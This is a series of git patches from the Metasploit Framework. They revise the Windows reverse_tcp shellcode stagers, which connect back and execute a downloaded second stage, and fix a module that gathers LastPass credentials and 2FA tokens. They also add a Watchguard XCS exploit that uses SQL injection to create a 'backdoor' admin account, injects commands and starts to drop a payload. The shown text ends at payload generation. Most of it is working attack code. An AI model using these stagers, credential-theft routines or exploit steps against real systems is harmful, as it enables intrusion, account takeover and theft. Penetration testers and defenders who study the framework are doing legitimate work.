dwFreeType (MEM_DECOMMIT) + push 0 ; dwSize + push eax ; lpAddress + push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')} + call ebp ; VirtualFree(payload, 0, MEM_DECOMMIT) + + ; clear up the socket + push edi ; socket handle + push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')} + call ebp ; closesocket(socket) + + ; restore the stack back to the connection retry count + pop esi + pop esi + + ; try again + jmp create_socket + ^ + end + + asm << %Q^ + read_successful: + add ebx, eax ; buffer += bytes_received + sub esi, eax ; length -= bytes_received, will set flags + jnz read_more ; continue if we have more to read + ret ; return into the second stage ^ if opts[:exitfunk] From a44c31052bc96f3c88b4aba882e06d83d3b26953 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 1 Jul 2015 12:43:41 +1000 Subject: [PATCH 0138/2172] reverse_tcp x64 stager reliability fixes Also includes a slight tweak to x86 --- lib/msf/core/payload/windows/reverse_tcp.rb | 19 +- .../core/payload/windows/x64/reverse_tcp.rb | 240 ++++++++++++------ .../stagers/windows/x64/reverse_tcp.rb | 2 +- .../stagers/windows/x64/reverse_tcp_uuid.rb | 2 +- 4 files changed, 174 insertions(+), 89 deletions(-) diff --git a/lib/msf/core/payload/windows/reverse_tcp.rb b/lib/msf/core/payload/windows/reverse_tcp.rb index c238d8199c..03d27c8730 100644 --- a/lib/msf/core/payload/windows/reverse_tcp.rb +++ b/lib/msf/core/payload/windows/reverse_tcp.rb @@ -80,7 +80,7 @@ module Payload::Windows::ReverseTcp space += 8 # Reliability adds some bytes! - space += 41 + space += 44 space += uuid_required_size if include_send_uuid @@ -153,21 +153,21 @@ module Payload::Windows::ReverseTcp handle_connect_failure: ; decrement our attempt count and try again - dec dword [esi+8] + dec [esi+8] jnz try_connect ^ if opts[:exitfunk] asm << %Q^ - failure: - call exitfunk - ^ + failure: + call exitfunk + ^ else asm << %Q^ - failure: - push 0x56A2B5F0 ; hardcoded to exitprocess for size - call ebp - ^ + failure: + push 0x56A2B5F0 ; hardcoded to exitprocess for size + call ebp + ^ end asm << %Q^ @@ -243,6 +243,7 @@ module Payload::Windows::ReverseTcp ; restore the stack back to the connection retry count pop esi pop esi + dec [esp] ; decrement the counter ; try again jmp create_socket diff --git a/lib/msf/core/payload/windows/x64/reverse_tcp.rb b/lib/msf/core/payload/windows/x64/reverse_tcp.rb index 6be0bfdd1b..38c6f42042 100644 --- a/lib/msf/core/payload/windows/x64/reverse_tcp.rb +++ b/lib/msf/core/payload/windows/x64/reverse_tcp.rb @@ -62,12 +62,12 @@ module Payload::Windows::ReverseTcp_x64 # def generate_reverse_tcp(opts={}) combined_asm = %Q^ - cld ; Clear the direction flag. - and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned - call start ; Call start, this pushes the address of 'api_call' onto the stack. + cld ; Clear the direction flag. + and rsp, ~0xF ; Ensure RSP is 16 byte aligned + call start ; Call start, this pushes the address of 'api_call' onto the stack. #{asm_block_api} start: - pop rbp + pop rbp ; block API pointer #{asm_reverse_tcp(opts)} ^ Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string @@ -84,11 +84,11 @@ module Payload::Windows::ReverseTcp_x64 # Start with our cached default generated size space = cached_size - # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others) - space += 31 + # EXITFUNK processing adds some bytes onto the defaults + space += 11 - # Reliability adds 10 bytes for recv error checks - space += 10 + # Reliability adds bytes! + space += 57 space += uuid_required_size if include_send_uuid @@ -105,7 +105,6 @@ module Payload::Windows::ReverseTcp_x64 # def asm_reverse_tcp(opts={}) - # TODO: reliability coming later reliable = opts[:reliable] retry_count = [opts[:retry_count].to_i, 1].max encoded_port = [opts[:port].to_i,2].pack("vn").unpack("N").first @@ -114,88 +113,173 @@ module Payload::Windows::ReverseTcp_x64 asm = %Q^ reverse_tcp: - ; setup the structures we need on the stack... + ; setup the structures we need on the stack... mov r14, 'ws2_32' - push r14 ; Push the bytes 'ws2_32',0,0 onto the stack. - mov r14, rsp ; save pointer to the "ws2_32" string for LoadLibraryA call. - sub rsp, #{408+8} ; alloc sizeof( struct WSAData ) bytes for the WSAData - ; structure (+8 for alignment) - mov r13, rsp ; save pointer to the WSAData structure for WSAStartup call. + push r14 ; Push the bytes 'ws2_32',0,0 onto the stack. + mov r14, rsp ; save pointer to the "ws2_32" string for LoadLibraryA call. + sub rsp, #{408+8} ; alloc sizeof( struct WSAData ) bytes for the WSAData + ; structure (+8 for alignment) + mov r13, rsp ; save pointer to the WSAData structure for WSAStartup call. mov r12, #{encoded_host_port} - push r12 ; host, family AF_INET and port - mov r12, rsp ; save pointer to sockaddr struct for connect call + push r12 ; host, family AF_INET and port + mov r12, rsp ; save pointer to sockaddr struct for connect call + ; perform the call to LoadLibraryA... - mov rcx, r14 ; set the param for the library to load - mov r10d, 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) - call rbp ; LoadLibraryA( "ws2_32" ) + mov rcx, r14 ; set the param for the library to load + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} + call rbp ; LoadLibraryA( "ws2_32" ) + ; perform the call to WSAStartup... - mov rdx, r13 ; second param is a pointer to this stuct - push 0x0101 ; - pop rcx ; set the param for the version requested - mov r10d, 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" ) - call rbp ; WSAStartup( 0x0101, &WSAData ); + mov rdx, r13 ; second param is a pointer to this stuct + push 0x0101 ; + pop rcx ; set the param for the version requested + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')} + call rbp ; WSAStartup( 0x0101, &WSAData ); + + ; stick the retry count on the stack and store it + push #{retry_count} ; retry counter + pop r14 + + create_socket: ; perform the call to WSASocketA... - push rax ; if we succeed, rax wil be zero, push zero for the flags param. - push rax ; push null for reserved parameter - xor r9, r9 ; we do not specify a WSAPROTOCOL_INFO structure - xor r8, r8 ; we do not specify a protocol - inc rax ; - mov rdx, rax ; push SOCK_STREAM - inc rax ; - mov rcx, rax ; push AF_INET - mov r10d, 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" ) - call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); - mov rdi, rax ; save the socket for later + push rax ; if we succeed, rax wil be zero, push zero for the flags param. + push rax ; push null for reserved parameter + xor r9, r9 ; we do not specify a WSAPROTOCOL_INFO structure + xor r8, r8 ; we do not specify a protocol + inc rax ; + mov rdx, rax ; push SOCK_STREAM + inc rax ; + mov rcx, rax ; push AF_INET + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')} + call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); + mov rdi, rax ; save the socket for later + + try_connect: ; perform the call to connect... - push 16 ; length of the sockaddr struct - pop r8 ; pop off the third param - mov rdx, r12 ; set second param to pointer to sockaddr struct - mov rcx, rdi ; the socket - mov r10d, 0x6174A599 ; hash( "ws2_32.dll", "connect" ) - call rbp ; connect( s, &sockaddr, 16 ); - ; restore RSP so we dont have any alignment issues with the next block... - add rsp, #{408+8+8*4+32*4} ; cleanup the stack allocations + push 16 ; length of the sockaddr struct + pop r8 ; pop off the third param + mov rdx, r12 ; set second param to pointer to sockaddr struct + mov rcx, rdi ; the socket + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')} + call rbp ; connect( s, &sockaddr, 16 ); + + test eax, eax ; non-zero means failure + jz connected + + handle_connect_failure: + dec r14 ; decrement the retry count + jnz try_connect ^ + if opts[:exitfunk] + asm << %Q^ + failure: + call exitfunk + ^ + else + asm << %Q^ + failure: + push 0x56A2B5F0 ; hardcoded to exitprocess for size + call rbp + ^ + end + + asm << %Q^ + ; this lable is required so that reconnect attempts include + ; the UUID stuff if required. + connected: + ^ asm << asm_send_uuid if include_send_uuid asm << %Q^ recv: - ; Receive the size of the incoming second stage... - sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the second stage length - mov rdx, rsp ; set pointer to this buffer - xor r9, r9 ; flags - push 4 ; - pop r8 ; length = sizeof( DWORD ); - mov rcx, rdi ; the saved socket - mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) - call rbp ; recv( s, &dwLength, 4, 0 ); - add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next - ; Alloc a RWX buffer for the second stage - pop rsi ; pop off the second stage length - push 0x40 ; - pop r9 ; PAGE_EXECUTE_READWRITE - push 0x1000 ; - pop r8 ; MEM_COMMIT - mov rdx, rsi ; the newly recieved second stage length. - xor rcx, rcx ; NULL as we dont care where the allocation is. - mov r10d, 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) - call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + ; Receive the size of the incoming second stage... + sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the + ; second stage length + mov rdx, rsp ; set pointer to this buffer + xor r9, r9 ; flags + push 4 ; + pop r8 ; length = sizeof( DWORD ); + mov rcx, rdi ; the saved socket + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} + call rbp ; recv( s, &dwLength, 4, 0 ); + ^ + + if reliable + asm << %Q^ + ; reliability: check to see if the recv worked, and reconnect + ; if it fails + cmp eax, 0 + jle handle_connect_failure + ^ + end + + asm << %Q^ + add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next + + ; Alloc a RWX buffer for the second stage + pop rsi ; pop off the second stage length + push 0x40 ; + pop r9 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; + pop r8 ; MEM_COMMIT + mov rdx, rsi ; the newly recieved second stage length. + xor rcx, rcx ; NULL as we dont care where the allocation is. + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} + call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); ; Receive the second stage and execute it... - mov rbx, rax ; rbx = our new memory address for the new stage - mov r15, rax ; save the address so we can jump into it later - read_more: ; - xor r9, r9 ; flags - mov r8, rsi ; length - mov rdx, rbx ; the current address into our second stages RWX buffer - mov rcx, rdi ; the saved socket - mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) - call rbp ; recv( s, buffer, length, 0 ); - add rbx, rax ; buffer += bytes_received - sub rsi, rax ; length -= bytes_received - test rsi, rsi ; test length - jnz read_more ; continue if we have more to read - jmp r15 ; return into the second stage + mov rbx, rax ; rbx = our new memory address for the new stage + mov r15, rax ; save the address so we can jump into it later + + read_more: ; + xor r9, r9 ; flags + mov r8, rsi ; length + mov rdx, rbx ; the current address into our second stages RWX buffer + mov rcx, rdi ; the saved socket + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} + call rbp ; recv( s, buffer, length, 0 ); + ^ + + if reliable + asm << %Q^ + ; reliability: check to see if the recv worked, and reconnect + ; if it fails + cmp eax, 0 + jge read_successful + + ; something failed so free up memory + pop rax + push r15 + pop rcx ; lpAddress + push 0x4000 ; MEM_COMMIT + pop r8 ; dwFreeType + push 0 ; 0 + pop rdx ; dwSize + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')} + call rbp ; VirtualFree(payload, 0, MEM_COMMIT) + + ; clean up the socket + push rdi ; socket handle + pop rcx ; s (closesocket parameter) + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')} + call rbp + ; rax is now conveniently set to zero + ; move rsp back to where the retry count is + add rsp, 0xD0 + + ; and try again + dec r14 ; decrement the retry count + jmp create_socket + ^ + end + + asm << %Q^ + read_successful: + add rbx, rax ; buffer += bytes_received + sub rsi, rax ; length -= bytes_received + test rsi, rsi ; test length + jnz read_more ; continue if we have more to read + jmp r15 ; return into the second stage ^ if opts[:exitfunk] diff --git a/modules/payloads/stagers/windows/x64/reverse_tcp.rb b/modules/payloads/stagers/windows/x64/reverse_tcp.rb index fa311123ee..392291549c 100644 --- a/modules/payloads/stagers/windows/x64/reverse_tcp.rb +++ b/modules/payloads/stagers/windows/x64/reverse_tcp.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/reverse_tcp' module Metasploit4 - CachedSize = 437 + CachedSize = 447 include Msf::Payload::Stager include Msf::Payload::Windows::ReverseTcp_x64 diff --git a/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb b/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb index 8c21b7ffe1..f86160bc6e 100644 --- a/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb +++ b/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/reverse_tcp' module Metasploit4 - CachedSize = 478 + CachedSize = 488 include Msf::Payload::Stager include Msf::Payload::Windows::ReverseTcp_x64 From 9c2cd34e9293a0c0291778e54998c29b11729134 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 1 Jul 2015 13:39:05 +1000 Subject: [PATCH 0139/2172] Fix payload required space, remove WOW64 code from x64 --- lib/msf/core/payload/windows/reverse_tcp.rb | 4 ++-- lib/msf/core/payload/windows/x64/exitfunk.rb | 16 +--------------- lib/msf/core/payload/windows/x64/reverse_tcp.rb | 4 ++-- 3 files changed, 5 insertions(+), 19 deletions(-) diff --git a/lib/msf/core/payload/windows/reverse_tcp.rb b/lib/msf/core/payload/windows/reverse_tcp.rb index 03d27c8730..6d1ef901bb 100644 --- a/lib/msf/core/payload/windows/reverse_tcp.rb +++ b/lib/msf/core/payload/windows/reverse_tcp.rb @@ -76,8 +76,8 @@ module Payload::Windows::ReverseTcp # Start with our cached default generated size space = cached_size - # EXITFUNK processing only seems to add 8 bytes on top of the default - space += 8 + # EXITFUNK 'thread' is the biggest by far, adds 29 bytes. + space += 29 # Reliability adds some bytes! space += 44 diff --git a/lib/msf/core/payload/windows/x64/exitfunk.rb b/lib/msf/core/payload/windows/x64/exitfunk.rb index d385fd4baa..5fab3a313f 100644 --- a/lib/msf/core/payload/windows/x64/exitfunk.rb +++ b/lib/msf/core/payload/windows/x64/exitfunk.rb @@ -33,25 +33,11 @@ module Payload::Windows::Exitfunk_x64 ret ; Return to NULL (crash) ^ - # On Windows Vista, Server 2008, and newer, it is not possible to call ExitThread - # on WoW64 processes, instead we need to call RtlExitUserThread. This stub will - # automatically generate the right code depending on the selected exit method. - when 'thread' asm << %Q^ - mov ebx, 0x#{Msf::Payload::Windows.exit_types['thread'].to_s(16)} - mov r10d, 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" ) - call rbp ; GetVersion(); (AL will = major version and AH will = minor version) - add rsp, 40 ; cleanup the default param space on stack - cmp al, 6 ; If we are not running on Windows Vista, 2008 or 7 - jl exitfunk_goodbye ; Then just call the exit function... - cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on - ; Windows Vista, 2008 or 7... - jne exitfunk_goodbye ; - mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread - exitfunk_goodbye: ; We now perform the actual call to the exit function push 0 ; pop rcx ; set the exit function parameter + mov ebx, 0x#{Msf::Payload::Windows.exit_types['thread'].to_s(16)} mov r10d, ebx ; place the correct EXITFUNK into r10d call rbp ; call EXITFUNK( 0 ); ^ diff --git a/lib/msf/core/payload/windows/x64/reverse_tcp.rb b/lib/msf/core/payload/windows/x64/reverse_tcp.rb index 38c6f42042..949d8fed72 100644 --- a/lib/msf/core/payload/windows/x64/reverse_tcp.rb +++ b/lib/msf/core/payload/windows/x64/reverse_tcp.rb @@ -84,8 +84,8 @@ module Payload::Windows::ReverseTcp_x64 # Start with our cached default generated size space = cached_size - # EXITFUNK processing adds some bytes onto the defaults - space += 11 + # EXITFUNK 'seh' is the worst case, that adds 15 bytes + space += 15 # Reliability adds bytes! space += 57 From 0e5e8032ad73370013b27f000dedd6030c51efe8 Mon Sep 17 00:00:00 2001 From: Martin Vigo Date: Tue, 30 Jun 2015 21:02:10 -0700 Subject: [PATCH 0140/2172] Add Firefox 2FA support --- modules/post/multi/gather/lastpass_creds.rb | 80 ++++++++++----------- 1 file changed, 40 insertions(+), 40 deletions(-) diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index 65eb675552..fc01e00cd6 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -49,22 +49,7 @@ class Metasploit3 < Msf::Post print_status "Extracting 2FA tokens" localstorage_map = build_localstorage_map - if localstorage_map.empty? - print_status "No LastPass localstorage found" - else - twoFA_token_map = check_localstorage_for_2FA_token(localstorage_map) - lastpass_data.each_pair do |account, browser_map| - browser_map.each_pair do |browser, username_map| - username_map.each_pair do |user, data| - if twoFA_token_map[account][browser] - lastpass_data[account][browser][user] << "defverthbertvwervrfv"#twoFA_token_map[account][browser] - else - lastpass_data[account][browser][user] << "NOT_FOUND" - end - end - end - end - end + lastpass_data = check_localstorage_for_2FA_token(localstorage_map, lastpass_data) unless localstorage_map.empty? print_lastpass_data(lastpass_data) end @@ -92,12 +77,12 @@ class Metasploit3 < Msf::Post browser_path_map = { 'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0", 'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox", - 'Opera' => "#{user_profile['LocalAppData']}/.config/Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage" + 'Opera' => "#{user_profile['LocalAppData']}/.config/Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0" } when /osx/ browser_path_map = { 'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0", - 'Firefox' => "#{user_profile['LocalAppData']}\\Firefox\\Profiles", + 'Firefox' => "#{user_profile['LocalAppData']}/Firefox/Profiles", 'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0", 'Safari' => "#{user_profile['AppData']}/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0" } @@ -216,12 +201,22 @@ class Metasploit3 < Msf::Post def firefox_credentials(loot_path) credentials = [] File.readlines(loot_path).each do |line| - if /user_pref\("extensions.lastpass.loginpws", "(?.*)"\);/ =~ line + if /user_pref\("extensions.lastpass.loginusers", "(?.*)"\);/ =~ line + usernames = encoded_users.split("|") + usernames.each do |username| + credentials << [username, "NOT_FOUND"] + end + elsif /user_pref\("extensions.lastpass.loginpws", "(?.*)"\);/ =~ line creds_per_user = encoded_creds.split("|") creds_per_user.each do |user_creds| parts = user_creds.split('=') - # Any valid credentials present? - credentials << parts if parts.size > 1 + for creds in credentials # Check if we have the username already + if creds[0] == parts[0] + creds[1] = parts[1] # Add the password to the existing username + else + credentials << parts if parts.size > 1 # Add full credentials + end + end end else next @@ -290,7 +285,7 @@ class Metasploit3 < Msf::Post ffcreds = firefox_credentials(loot_path) unless ffcreds.blank? ffcreds.each do |creds| - credentials[account][browser]={URI.unescape(creds[0]) => [URI.unescape(creds[1])]} + credentials[account][browser][URI.unescape(creds[0])] = [URI.unescape(creds[1])] end else credentials[account].delete("Firefox") @@ -345,20 +340,20 @@ class Metasploit3 < Msf::Post when /win/ browser_path_map = { 'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage", - 'Firefox' => "#{user_profile['AppData']}\\Mozilla\\Firefox\\Profiles", + 'Firefox' => "#{user_profile['LocalAppData']}\\LastPass", 'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Local Storage\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage", 'Safari' => "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\LocalStorage\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage" } when /unix|linux/ browser_path_map = { 'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage", - #'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox", + 'Firefox' => "#{user_profile['LocalAppData']}/.lastpass", 'Opera' => "#{user_profile['LocalAppData']}/.config/Opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage" } when /osx/ browser_path_map = { 'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage", - #'Firefox' => "#{user_profile['LocalAppData']}\\Firefox\\Profiles", + 'Firefox' => "#{user_profile['LocalAppData']}/LastPass", 'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage", 'Safari' => "#{user_profile['AppData']}/Safari/LocalStorage/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage" } @@ -377,23 +372,25 @@ class Metasploit3 < Msf::Post #Extracts the 2FA token from localStorage - def check_localstorage_for_2FA_token(localstorage_map) + def check_localstorage_for_2FA_token(localstorage_map, lastpass_data) localstorage_map.each_pair do |account, browser_map| browser_map.each_pair do |browser, path| if browser == 'Firefox' - data = read_file(path) - loot_path = store_loot( - 'firefox.preferences', - 'text/javascript', - session, - data, - nil, - "Firefox preferences file #{path}" - ) - - firefox_credentials(loot_path).each do |creds| - credentials << [account, browser, URI.unescape(creds[0]), URI.unescape(creds[1])] + lastpass_data[account][browser].each_pair do |username, data| + path = path + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_ff.sotp" + data = read_file(path) if client.fs.file.exists?(path) #Read file if it exists + data = "DECRYPTION_ERROR" if (data.blank? || data.size != 32) # Verify content + loot_path = store_loot( + 'firefox.preferences', + 'text/binary', + session, + data, + nil, + "Firefox 2FA token file #{path}" + ) + lastpass_data[account][browser][username] << data end + else # Chrome, Safari and Opera data = read_file(path) loot_path = store_loot( @@ -411,12 +408,15 @@ class Metasploit3 < Msf::Post "SELECT hex(value) FROM ItemTable " \ "WHERE key = 'lp.uid';" ).flatten - token.blank? ? localstorage_map[account][browser] = "NOT_FOUND" : localstorage_map[account][browser] = token.pack('H*') + + lastpass_data[account][browser].each_pair do |username, data| + token.blank? ? lastpass_data[account][browser][username] << "NOT_FOUND" : lastpass_data[account][browser][username] << token.pack('H*') + end end end end - localstorage_map + lastpass_data end From a2721323beeea5b71a402cb4b6ae9f4ef505199e Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 1 Jul 2015 14:02:40 +1000 Subject: [PATCH 0141/2172] Handle failure better for first recv --- lib/msf/core/payload/windows/reverse_tcp.rb | 3 ++- lib/msf/core/payload/windows/x64/reverse_tcp.rb | 6 ++---- 2 files changed, 4 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/payload/windows/reverse_tcp.rb b/lib/msf/core/payload/windows/reverse_tcp.rb index 6d1ef901bb..d11c607606 100644 --- a/lib/msf/core/payload/windows/reverse_tcp.rb +++ b/lib/msf/core/payload/windows/reverse_tcp.rb @@ -194,7 +194,7 @@ module Payload::Windows::ReverseTcp ; reliability: check to see if the recv worked, and reconnect ; if it fails cmp eax, 0 - jle handle_connect_failure + jle cleanup_socket ^ end @@ -235,6 +235,7 @@ module Payload::Windows::ReverseTcp push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')} call ebp ; VirtualFree(payload, 0, MEM_DECOMMIT) + cleanup_socket: ; clear up the socket push edi ; socket handle push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')} diff --git a/lib/msf/core/payload/windows/x64/reverse_tcp.rb b/lib/msf/core/payload/windows/x64/reverse_tcp.rb index 949d8fed72..8a6dd88ade 100644 --- a/lib/msf/core/payload/windows/x64/reverse_tcp.rb +++ b/lib/msf/core/payload/windows/x64/reverse_tcp.rb @@ -210,7 +210,7 @@ module Payload::Windows::ReverseTcp_x64 ; reliability: check to see if the recv worked, and reconnect ; if it fails cmp eax, 0 - jle handle_connect_failure + jle cleanup_socket ^ end @@ -258,14 +258,12 @@ module Payload::Windows::ReverseTcp_x64 mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')} call rbp ; VirtualFree(payload, 0, MEM_COMMIT) + cleanup_socket: ; clean up the socket push rdi ; socket handle pop rcx ; s (closesocket parameter) mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')} call rbp - ; rax is now conveniently set to zero - ; move rsp back to where the retry count is - add rsp, 0xD0 ; and try again dec r14 ; decrement the retry count From 1ede519b8d9ddf3f5bcb7245057bd37b0ebc7414 Mon Sep 17 00:00:00 2001 From: Daniel Jensen Date: Wed, 1 Jul 2015 21:11:23 +1200 Subject: [PATCH 0142/2172] Added Watchguard XCS remote root exploit module. --- .../freebsd/http/watchguard_remote_root.rb | 275 ++++++++++++++++++ 1 file changed, 275 insertions(+) create mode 100644 modules/exploits/freebsd/http/watchguard_remote_root.rb diff --git a/modules/exploits/freebsd/http/watchguard_remote_root.rb b/modules/exploits/freebsd/http/watchguard_remote_root.rb new file mode 100644 index 0000000000..1c734742c5 --- /dev/null +++ b/modules/exploits/freebsd/http/watchguard_remote_root.rb @@ -0,0 +1,275 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Watchguard XCS Unauthenticated Remote Root', + 'Description' => %q{ + This module exploits three seperate vulnerabilities found in the Watchguard XCS virtual appliance + to gain a root shell. By exploiting an unauthenticated SQL injection vulnerability, a remote attacker may insert + a valid web user into the appliance database, and login to the web interface as this user. A + vulnerability in the web interface allows the attack to inject operating system commands as the + 'nobody' user. A further vulnerability in the 'FixCorruptMail' script called by root's crontab can then be exploited + to run a command as root within 3 minutes. + }, + 'Author' => + [ + 'Daniel Jensen ' # discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL','http://security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf'] + ], + 'Platform' => 'bsd', + 'Arch' => ARCH_X86_64, + 'Privileged' => false, + 'Targets' => + [ + [ 'Watchguard XCS 9.2/10.0', { }] + ], + 'DefaultOptions' => + { + 'SSL' => true + }, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'June 29 2015' + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The target URI', '/']), + OptBool.new('GETROOT', [false, 'Exploit the root privesc (Takes up to 180 seconds)', true]), + Opt::RPORT(443) + ], + self.class + ) + end + + def check + #Check to see if the SQLi is exploitable + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, '/borderpost/imp/compose.php3'), + 'cookie' => "sid=1 AND 1=CAST((select password from sds_users where login='admin' limit 1) as int)" + }) + uri1 = normalize_uri(target_uri.path, '/borderpost/imp/compose.php3') + vprint_status(uri1) + if res and res.body =~ /invalid input syntax for integer/ + vprint_status("Looks vulnerable to the SQLi issue, probably fully vuln") + return Exploit::CheckCode::Vulnerable + else + vprint_status("**Sad trumpet sound**") + vprint_status(res) + return Exploit::CheckCode::Safe + end + end + + + def exploit + #Add the backdoor user to db + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, '/borderpost/imp/compose.php3'), + 'cookie' => "sid=1%3BINSERT INTO sds_users (self, login, password, org, priv_level, quota, disk_usage) VALUES(99, 'backdoor', '0b75e2443d3c813d91ac5b91106a70ad', 0, 'server_admin', 0, 0)--" + }) + + if !res or !res.body + fail_with(Failure::Unreachable, "Could not connect to host") + end + + if res.body =~ /ERROR: duplicate key value violates unique constraint/ + print_status("Added backdoor user, credentials => backdoor:backdoor") + else + fail_with(Failure::UnexpectedReply, "Unable to add backdoor user") + end + + + #Get the login hash/csrf thing needed to login + get_login_hash = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, '/login.spl') + }) + + #Find the hash token needed to login + login_hash = '' + vprint_status(get_login_hash.body) + get_login_hash.body.each_line do |line| + next if line !~ /name="hash" value="(.*)"/ + login_hash = $1 + end + + sid_cookie = (get_login_hash.get_cookies || '').scan(/sid=(\w+);/).flatten[0] || '' + + if login_hash == '' || sid_cookie == '' + fail_with(Failure::UnexpectedReply, "Could not find login hash or cookie") + end + + + login_post = { + 'u' => 'backdoor', + 'pwd' => 'backdoor', + 'hash' => login_hash, + 'login' => "Login" + } + + print_status("Logging in with backdoor credentials") + login = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, '/login.spl'), + 'method' => 'POST', + 'encode_params' => false, + 'cookie' => "sid=#{sid_cookie}", + 'vars_post' => login_post, + 'vars_get' => { + 'f' => 'V', + } + }) + + + if !login or login.body !~ /Loading...<\/title>/ + vprint_status(login.body) + fail_with(Failure::NoAccess, "Authentication failed") + end + + print_status("Successfully logged in") + + #Check if cmd injection works + test_cmd_inj = send_cmd_exec("/ADMIN/mailqueue.spl", sid_cookie, "id") + if test_cmd_inj.body !~ /uid=65534/ + fail_with(Failure::UnexpectedReply, "Could not inject command") + end + + #We have cmd exec, stand up an HTTP server and deliver the payload + print_status("Getting ready to drop binary on appliance") + + downfile = rand_text_alpha(8+rand(8)) + vprint_status("File name is #{downfile}") + + @pl = generate_payload_exe + 